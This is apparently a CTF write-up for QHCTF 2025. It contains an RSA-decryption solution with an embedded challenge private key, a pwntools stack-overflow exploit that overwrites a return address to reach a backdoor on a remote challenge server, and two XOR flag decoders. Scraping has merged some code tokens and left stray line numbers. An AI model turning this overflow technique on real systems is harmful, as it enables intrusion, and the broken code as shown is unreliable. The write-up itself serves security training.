private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDDe2nPHYHbOm8UeieE0c2Dd8Avd7XEk3+Gi81rDkaRfbj9bNsP\n4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K+F5o4HQvyVDY/t14HYrWFR3c\nYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vdq3J7Y4VVZ8tWtBLuaQIDAQAB\nAoGAI5BJUK/qlwrLeKs8k1JkFD3uDfS2cfvvoHfAuHBRcFiyFhD+zaXJoTh/Gngt\nou/cgPHlkQAiQcLKLnp1nyMEgiK1NNwAtroS8lm1K4AZ3ltIKgqq4cnQSuFDDXZB\nw96P+DCkjI1hSRE+/TZ7cN9SllCVj6tS1Y7V76sMPNEoH80CQQDfBqSkGPWZm9zQ\nNVnrIizeEhz/aa7LJeYxirmkQy2X7Hs0vB2Y30a7ICU4LwnT+9ugFLM2mmpgrjLh\nVKN/uHL7AkEA4GJBqavJktwYCtTUnLWYIfsGMO5KZAdjZS1wvea2miZYJc6Qn61p\najON4PaSWEUQEKqk+9fwrsU3lrglmBaG6wJAE8IU5+zGJVunjlKLqscWTn4wT3hf\nYePzpsPxelnxOhpbN+rKfHabX4yTf4y7RCp15JKw5c98SSBlpYzIB1Kh7QJBANwW\nREXCZFMSYtqs62ZSkEg0SlxQPtNik9G4Am+iDtWgarGarSySEWXD75QLBnxiMWHH\nn1AO/NrQQrgpI2bMIcUCQQCI5JQzp8FmyjjOsrJiwT0NWiTdko6qMCZ4LEFMY0s8\nGylIRw11S0K+dU0LI4Xs92AxuA1BPN25KMGmwvxtWmPR\n-----END RSA PRIVATE KEY-----' public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDe2nPHYHbOm8UeieE0c2Dd8Av\nd7XEk3+Gi81rDkaRfbj9bNsP4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K\n+F5o4HQvyVDY/t14HYrWFR3cYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vd\nq3J7Y4VVZ8tWtBLuaQIDAQAB\n-----END PUBLIC KEY-----' cip = b"v1XpEQbLRdiqwgZXbn0xBNQ7kjCD3MgwbJa+ZQUmpPz++ZFw3FGjUKL140Rqceukiwq44xGy3ZqRfPZHRg7KISN/544dWq4rHcOx4I087oTYrHVjESsBJMxnpSuBNB6jEQVcPRapDlitHsNdkphIr24cwstzLzwcf1ORpWYDugg="
defdecrypt_message(encrypted_message, pri_key): message = base64.b64decode(encrypted_message) key = RSA.import_key(pri_key) cipher = PKCS1_OAEP.new(key) ming = cipher.decrypt(message) return ming
m = decrypt_message(cip,private_key) print(m)
PWN
Easy_pwn
经典栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import * context.log_level = "debug" # sh = process("./pwn1") sh = remote("154.64.245.108",33275)
ret = 0x0000000000401016 back_door = 0x0000000004011C6 payload = b"a"*0x58 + p64(ret) + p64(back_door) sh.sendlineafter(b"Welcome to QHCTF 2025!\n",payload)
sh.interactive()
Reverse
Checker
就一异或
1 2 3 4 5 6
cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E") cip = bytearray(cip) for i inrange(len(cip)): cip[i] ^= 0x23
print(bytes(cip))
rainbow
就一异或 x2
1 2 3 4 5
cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227")) for i inrange(len(cip)): cip[i] ^= 90